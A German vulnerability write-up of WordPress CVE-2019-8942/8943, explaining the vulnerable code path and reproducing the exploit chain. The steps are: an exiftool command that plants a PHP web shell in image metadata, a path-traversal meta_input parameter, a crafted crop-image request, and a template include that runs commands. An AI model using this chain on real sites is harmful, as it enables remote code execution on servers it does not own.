
cve-2019-8942, cve-2019-8943
POC & Dockekfile : https://github.com/synod2/WP_CROP_RCE
Dieses Dokument behandelt die Schwachstellen CVE-2019-8942 und CVE-2019-8943, die als WordPress Image CROP RCE bekannt sind und in WordPress-Versionen vor 4.9.9 und 5.0.1 entdeckt wurden.
| CVE-Nummer | Veröffentlichungsdatum | Beschreibung |
|---|---|---|
| CVE-2019-8942 | 2019-2-19 | Ermöglicht über den Wert der wp_postmeta-Tabelle die Ausführung von PHP-Code, der Schadcode enthält, sowie Remote-Code-Ausführung. |
| CVE-2019-8943 | 2019-2-19 | Ermöglicht das Speichern von Dateien in einem beliebigen Pfad über den Parameter meta_input, wenn eine Aktion die Größendaten eines hochgeladenen Bildes ändert. |
CVE-2019-8942 – Ein Bild, in dessen EXIF-Metadaten PHP-Code eingefügt wurde, kann hochgeladen werden. Anschließend wird der Wert wp_attached_file in der wp_post_meta-Tabelle des Beitrags geändert und die Bilddatei per include eingebunden, wodurch beliebiger Code ausgeführt werden kann.
CVE-2019-8943 – Bei Verwendung des Bildbearbeitungswerkzeugs kann in der Funktion wp_crop_image(), die die Größendaten eines Bildes aktualisiert, der Wert wp_attached_file in der wp_postmeta-Tabelle in einen beliebigen String geändert werden, sodass in ein beliebiges Verzeichnis geschrieben werden kann.
Durch die Kombination dieser beiden Schwachstellen kann ein Bild mit eingebettetem PHP-Code in einem beliebigen Pfad hochgeladen und anschließend Remote-Code-Ausführung erzielt werden.
Beim Hochladen eines Bildes in WordPress wird es zunächst in das Verzeichnis wp-content/uploads verschoben. Die Datenbank speichert die für die interne Referenzierung benötigten Informationen (Metadaten wie den Bildinhaber, den Upload-Zeitpunkt usw.) als Paar aus meta_key/meta_value.
mysql> select * from wp_postmeta where post_ID = 6;
| meta_id | post_id | meta_key | meta_value
| 5 | 6 | _wp_attached_file | 2021/05/test.png
| 6 | 6 | _wp_attachment_metadata | a:5:{s:5:"width"...
Die Metadaten des Bildes werden wie oben gezeigt in der Datenbank gespeichert. Beim Abrufen des Bildes wird der Dateiname im Verzeichnis wp-content/uploads anhand der Metadaten _wp_attached_file ermittelt.
#/wp-admin/includes/post.php
function edit_post( $post_data = null ) {
⋮
if ( empty($post_data) )
$post_data = &$_POST;
⋮
$success = wp_update_post( $post_data );
⋮
#/wp-includes/post.php
function wp_update_post( $postarr = array(), $wp_error = false ) {
⋮
return wp_insert_post( $postarr, $wp_error );
}
function wp_insert_post( $postarr, $wp_error = false ) {
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
⋮
In der Funktion eidt_post() werden die POST-Daten ohne separate Filterung in der Variablen $post_data gespeichert und verwendet. Die POST-Werte durchlaufen wp_update_post() → wp_insrt_post(), und die in der Datenbank gespeicherten Metadaten werden über die Funktion update_post_meta aktualisiert. Dabei kann der Wert _wp_attached_file aktualisiert werden, um den in den Metadaten angegebenen Pfad zum Abrufen des Bildes zu manipulieren.
#wp-admin/includes/image.php
function wp_crop_image( $attachment_id, $src_x, ...) {
⋮
$src_file = get_attached_file( $src );
⋮
$result = $editor->save( $dst_file );
#/wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
⋮
return apply_filters( 'get_attached_file', $file, $attachment_id );
Die Funktion wp_crop_image(), die beim Ändern der Dateigröße aufgerufen wird, bezieht den Speicherpfad der Datei über die Funktion get_attached_file(). Diese wiederum ermittelt den Pfad über get_post_meta() aus dem in der Datenbank gespeicherten Wert _wp_attached_file und speichert das bearbeitete Bild dort.
Die beiden genannten Probleme führen letztlich dazu, dass der per POST manipulierte Dateipfad verwendet und das bearbeitete Bild an dieser Position gespeichert wird.
Die Themes der WordPress-Seite werden im Verzeichnis wp-content/themes gespeichert und verwendet. Durch Setzen der Post-Metadaten _wp_page_template pro Beitrag kann eine Datei in diesem Theme-Verzeichnis über die Funktion include() als Vorlage eingebunden werden.
Dabei wird die Datei – wie bei der Verwendung der Funktion include() in PHP – in den Beitrag eingebunden. Wird also ein Bild mit enthaltenem PHP-Code per include() eingebunden, verhält es sich wie eine PHP-Seite und die Ausführung des PHP-Codes wird möglich.
$ exiftool test.png -CopyrightNotice="<?=\`\$_GET[0]\`?>"
$ exiftool test.png
ExifTool Version Number : 10.80
File Name : test.png
Directory : .
File Size : 157 kB
File Modification Date/Time : 2021:05:05 09:43:34+00:00
File Access Date/Time : 2021:05:05 09:43:53+00:00
File Inode Change Date/Time : 2021:05:05 09:43:34+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 480
Image Height : 270
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Copyright Notice : <?=`$_GET[0]`?>
Application Record Version : 4
Image Size : 480x270
Megapixels : 0.130
Einfügen einer PHP-Shell in das CopyrightNotice-Feld der Bildmetadaten.



Hochgeladenes Bild anklicken – Weitere Details bearbeiten – Beim Klick auf „Aktualisieren“ wird der an post.php gesendeten Anfrage der Parameter &meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell hinzugefügt und übermittelt.
| meta_id | post_id | meta_key | meta_value
+---------+---------+-------------------------+---------------------------------
| 338 | 135 | _wp_attached_file | 2021/05/test.jpg?/../../../../themes/twentyseventeen/cropped-shell
Die Manipulation von _wp_attached_file in der Datenbank ist bestätigt.


Hochgeladenes Bild anklicken – Bild bearbeiten – Nach der Größenänderung auf die Schaltfläche „Größe“ klicken; die an admin-ajax.php gesendete Anfrage wird mit manipulierten Parametern übermittelt.

action=crop-image&_ajax_nonce=<nonce>&id=<이미지ID>&cropDetails[x1]=480&cropDetails[y1]=480&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=10&cropDetails[dst_height]=10&meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell
/wordpress/wp-content/themes/twentyseventeen $ ls
404.php cropped-shell.jpg header.php README.txt search.php template-partsarchive.php footer.php inc rtl.css sidebar.phpassets front-page.php index.php screenshot.png single.php
comments.php functions.php page.php searchform.php style.css
Es wurde bestätigt, dass die Datei cropped-shell.jpg im Theme-Verzeichnis erstellt wurde.

Beim Erstellen eines Beitrags wird der an post.php gesendeten Anfrage der Parameter &meta_input[_wp_page_template]=cropped-shell.jpg hinzugefügt und übermittelt; die Datei wird dadurch per include in den Beitrag eingebunden.

Es wurde bestätigt, dass der PHP-Code in der per include eingebundenen Bilddatei ausgeführt wird und der über den POST-Parameter an den Beitrag übergebene Wert als Systembefehl ausgeführt wird.
https://github.com/v0lck3r/CVE-2019-8943/blob/main/RCE_wordpress.py – Python-PoC-Code
https://blog.sonarsource.com/wordpress-image-remote-code-execution?redirect=rips – Analysebericht zur WP-CROP-RCE-Schwachstelle
https://blog.naver.com/skinfosec2000/221517528775 – Analysebericht zur WP-CROP-RCE-Schwachstelle
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942 – Offizielle CVE-Seite
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943 – Offizielle CVE-Seite